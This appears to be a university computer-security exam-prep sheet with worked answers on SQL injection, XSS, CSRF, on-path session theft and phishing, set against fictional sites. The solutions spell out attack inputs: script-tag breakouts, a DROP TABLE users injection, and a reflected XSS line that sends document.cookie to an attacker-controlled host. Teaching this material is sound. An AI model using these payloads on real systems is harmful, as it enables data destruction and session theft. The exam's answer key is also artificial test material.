CS 161 Spring 2024 — Introduction to Computer Security — Exam Prep 8

Q1 *SQL Injection* **(14 points)**

CS 161 students are using a modified version of Piazza to discuss project questions! In this version, the names and profile pictures of the students who answer questions frequently are listed on a side panel on the website.

The server stores a table of users with the following schema:

```
CREATE TABLE users (
    First TEXT,              -- First name of the user.
    Last TEXT,               -- Last name of the user.
    ProfilePicture TEXT,     -- URL of the image.
    FrequentPoster BOOLEAN, -- Are they a frequent poster?
);
```

Q1.1 (3 points) Assume that you are a frequent poster. When playing around with your account, you notice that you can set your profile picture URL to the following, and your image on the frequent poster panel grows wider than everyone else's photos:

ProfilePicture URL: `https://cs161.org/evan.jpg" width="1000`

Frequent posters


Evan Bot


Coda Bot


Pinto Bot

What kind of vulnerability might this indicate on Piazza's website?

- ● Stored XSS
- ○ Reflected XSS
- ○ CSRF
- ○ Path traversal attack
- ○ Buffer overflow

Solution: Because the user seems to be able to inject arbitrary HTML through the image URL, this might indicate a stored XSS vulnerability. The user can submit an profile picture URL that escapes the `img` tag of the image and injects a malicious script into future users who attempt to load the profile picture.

Q1.2 (3 points) Provide a malicious image URL that causes the JavaScript `alert(1)` to run for any browser that loads the frequent poster panel. Assume all relevant defenses are disabled.

Hint: Recall that image tags are typically formatted as `<img src="image.png">`.

Solution: The input would look something like the following:

```
"><script>alert(1)</script><img src="
```

So when injected into the image, this would render as:

```
<img src="image.png"><script>alert(1)</script><img src="">
```

We assume that all relevant defenses (e.g. content security policy) are disabled, so this script will run when the frequent poster panel is loaded.

Q1.3 (4 points) Suppose your account is not a frequent poster, but you still want to conduct an attack through the frequent posters panel!

When a user creates an account on Piazza, the server runs the following code:

```
query := fmt.Sprintf("
    INSERT INTO users (First, Last, ProfilePicture, FrequentPoster)
        VALUES ('%s', '%s', '%s', FALSE);
    ",
    first, last, profilePicture)
db.Exec(query)
```

Provide an input for `profilePicture` that would cause your malicious script to run the next time a user loads the frequent posters panel. You may reference `PAYLOAD` as your malicious image URL from earlier, and you may include `PAYLOAD` as part of a larger input.

Solution: There's a key insight here: your accout isn't a frequent poster, but you want it to show up in the frequent posters panel, so you need to set `FrequentPoster` to `TRUE` for that to happen! Because it's hardcoded as `FALSE` in the current injection, we need to do something like the following:

```
PAYLOAD', TRUE) --
```

As a result, the following SQL will be executed:

```
INSERT INTO users (First, Last, ProfilePicture, FrequentPoster)
    VALUES ('[some first name]', '[some last name]',
        'PAYLOAD', TRUE) --', FALSE);
```

Q1.4 (4 points) Instead of injecting a malicious script, you want to conduct a DoS attack on Piazza! Provide an input for `profilePicture` that would cause the SQL statement `DROP TABLE users` to be executed by the server.

Solution: Similar to the previous problem, we're going to construct a SQL injection attack. This time, we need to start a completely new statement, so we'll use a semicolon to start the `DROP TABLE users` statement:

```
', FALSE); DROP TABLE users --
```

This results in the following SQL being executed:

```
INSERT INTO users (First, Last, ProfilePicture, FrequentPoster)
    VALUES ('[some first name]', '[some last name]',
        '', FALSE); DROP TABLE users --', FALSE);
```

Q2 *Web: Unscramble* **(14 points)**

`www.evanbook.com` is a website where users can submit and view posts. EvanBot is a user of this website, who is initially not logged in. Mallory is an on-path attacker between EvanBot and this website, and Mallory controls `www.mallory.com`.

- A user can load `www.evanbook.com/home` to see posts made by all users. (This behavior is the same whether the user is logged in or logged out.)
- A user can log in by making a POST request to `www.evanbook.com/login`, with their username and password (e.g. `"alice,password123"`) in the contents. If the username and password are correct, the HTTP response contains a session token cookie.
- A user who is logged in can load `www.evanbook.com/home?msg=X` to display all the posts, along with an additional message `X` at the top of the page.
- A user who is logged in can follow another user by making a GET request to `www.evanbook.com/follow?user=X`, replacing `X` with the username to follow.

In each subpart, provide a sequence of events (choosing from the list below) to execute the given attack. If you choose an event with a placeholder `X`, write the value you would insert into the placeholder.

A. EvanBot loads `www.evanbook.com/home`.

B. EvanBot loads `www.evanbook.com/home?msg=X`.

C. EvanBot makes a POST request with the correct username and password.

D. Mallory makes a post with contents `X`.

E. Mallory makes `www.mallory.com` send back `X`.

F. Mallory reads the HTTP request sent from EvanBot to `www.evanbook.com`.

G. Mallory reads the HTTP response sent from `www.evanbook.com` to EvanBot.

Write one event per row. You don't have to use all rows provided, but you may not use extra rows.

On each row: In the left box, write the letter (A to G) of the event. In the right box, if the event has a placeholder `X`, write the value you would use in the placeholder. If the event does not have a placeholder, leave the right box blank.

Example attack: Make EvanBot see the post "Mallory says hi."

Example answer: Mallory makes a post with contents "Mallory says hi."

Then, EvanBot loads `www.evanbook.com/home`.

D	Mallory says hi
A	

Q2.1 (2 points) For this subpart, assume all requests are sent over HTTP (not HTTPS), and the session token cookie has attributes `Secure=false` and `HttpOnly=true`.

Attack: Learn the value of EvanBot's session token.

Solution:

C. EvanBot makes a POST request with the correct username and password.

G. Mallory reads the HTTP response sent by `evanbook`.

The HTTP response contains the value of the session token cookie. Mallory is an on-path attacker, and the response is sent over HTTP (unencrypted), so Mallory can learn the value of the session token by reading this response.

Q2.2 (2 points) Attack: Using stored XSS, make EvanBot run the JavaScript `alert(1)` with the origin of `www.evanbook.com`.

Solution:

D. Mallory makes a post with `<script>alert(1)</script>`.

A. EvanBot loads `www.evanbook.com/home`.

Q2.3 (2 points) Attack: Make EvanBot log in as user `mallory` (who has password `161`).

Solution:

D. Mallory makes a post with `<script>post("www.evanbook.com/login", "mallory,161"</script>`.

A. EvanBot loads `www.evanbook.com/home`.

Q2.4 (2 points) For this subpart, assume all requests are sent over HTTPS, and the session token cookie has attributes `Secure=true` and `HttpOnly=false`.

Attack: Use reflected XSS to learn the value of EvanBot's session token.

Solution:

C. EvanBot makes a POST request with the correct username and password.

B. EvanBot loads `www.evanbook.com/home?msg=<script>post("www.mallory.com", document.cookie)</script>`

Q2.5 (3 points) Attack: Make EvanBot follow Mallory.

Solution:

D. Mallory makes a post with <`img src="www.evanbook.com/follow?user=mallory"`>.

C. EvanBot makes a POST request with the correct username and password.

A. EvanBot loads `www.evanbook.com/home`.

Q2.6 (3 points) Attack: Using stored XSS, make EvanBot run the JavaScript `alert(1)` with the origin of `www.mallory.com`.

Solution:

D. Mallory makes a post with <`iframe src="www.mallory.com"></iframe`>.

A. EvanBot loads `www.evanbook.com/home`.

E. Mallory makes `www.mallory.com` send back <`script>alert(1)</script`>.

Q3 *Phishing* (0 points)

A phishing attacker tries to gain sensitive user information by tricking users into going to a fake version of a website they trust. The attacker might convince the user to go to what *appears* to be their bank and to enter their username and password.

i. What are some ways that attackers try to fool users about the site they are going to? How do they convince people to click on links to sites?

ii. What are some defenses you should employ against phishing?

Solution:

i. Attacks include:

Sub domains that look like top level domains.

Look alike UNICODE urls: bankofamerca.com, bankofthevvest.com

Look alike unicode characters.

Mentioning recent information. Compromising an email account and then sending emails to people that account has recently corresponded with.

ii. Defenses include:

Use a browser-integrated password manager, it will automatically fail to fill in your password if the website is not legitimate.

Do not click on unexpected links in emails.

If your bank sends you an email about your account, go to your browser and separately type in the banks url, or call them. Do not click on links to sensitive sites that others provide you.

Type sensitive domains directly into the address bar, or create a short cut that way and then use it.

Some phishing emails or sites are not very well crafted. Subtle language or spelling errors, that should be out of place for the legitimate site, can be a warning sign that you should heed.